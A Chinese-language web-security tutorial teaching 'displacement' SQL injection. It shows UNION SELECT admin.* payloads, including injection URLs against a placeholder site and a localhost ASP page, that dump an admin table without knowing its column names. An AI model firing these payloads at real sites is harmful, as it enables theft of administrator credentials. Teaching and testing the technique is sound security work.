1. 首页
  2. 渗透测试

【原创】WEB安全第四章 SQL注入篇23高级注入技巧 位移注入

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

WEB安全第四章 SQL注入篇22 sqlserver延时注入

1、简介

这种注入方式合适在找到表找不到字段的情况下使用。

这种注入方式 需要联合两个表 所以这种注入也是联合查询注入的一种。

2、原理

在SQL中查询 select * from admin 星号代表所有字段。

而且 select * from admin 的结果等于下面几种结果

select admin.* from admin

select admin.id,admin.username,admin.password from admin

select id,username,password from admin

在使用位移注入这种注入方法,需要确定当前表的,字段数

表article 的字段为3个

使用联合语句 把另外一个表联合进来查询

select * from article where id=1 union select 1,2,3 from admin

admin的表的字段数同样也是3个 把admin.* 替换1,2,3

select * from article where id=1 union select admin.* from admin

语句并没有报错 因为列数一样 同样也会显示表admin里面的字段数据

把语句改成这样就会只显示 表 admin的数据

select * from article where id=-1 union select admin.* from admin

【原创】WEB安全第四章 SQL注入篇23高级注入技巧 位移注入

注意:
使用这种方法
当前表的字段大于或等于联合的表
这里当前表就是 article 联合的表就是 admin

3、网站测试

http://target_sys.com/article.php?id=-1 union select admin.* from admin

【原创】WEB安全第四章 SQL注入篇23高级注入技巧 位移注入

4、其他数据库

在其他数据库中也可以使用这种方法,例如access

order by的字段数

select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin

product 的表字段数为26

select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from admin

这里的*星号代表admin的字段数 所以用26-13=13 所以admin的字段个数为13

用admin.*替换这里的 * 星号

select * from product where id=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin

在网站里面测试

http://127.0.0.1:99/ProductShow.asp?ID=100 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.* from admin

【原创】WEB安全第四章 SQL注入篇23高级注入技巧 位移注入

这样同样也是可以执行语句 获取数据,也可以将admin.*放到其他列

select * from product where id=100 union select admin.*,2,3,4,5,6,7,8,9,10,11,12,13 from admin

http://127.0.0.1:99/ProductShow.asp?ID=100 union select admin.*,2,3,4,5,6,7,8,9,10,11,12,13 from admin

【原创】WEB安全第四章 SQL注入篇23高级注入技巧 位移注入

同样也是可以执行的。
同样星号也可以放在其他位置
select * from product where id=100 union select *,2,3,4,5,6,7,8,9,10,11,12,13 from admin
select * from product where id=100 union select admin.,2,3,4,5,6,7,8,9,10,11,12,13 from admin

表名. 和* 这种同样的可以也是表示字段数 他两种结果是不一样 的。

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/40.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息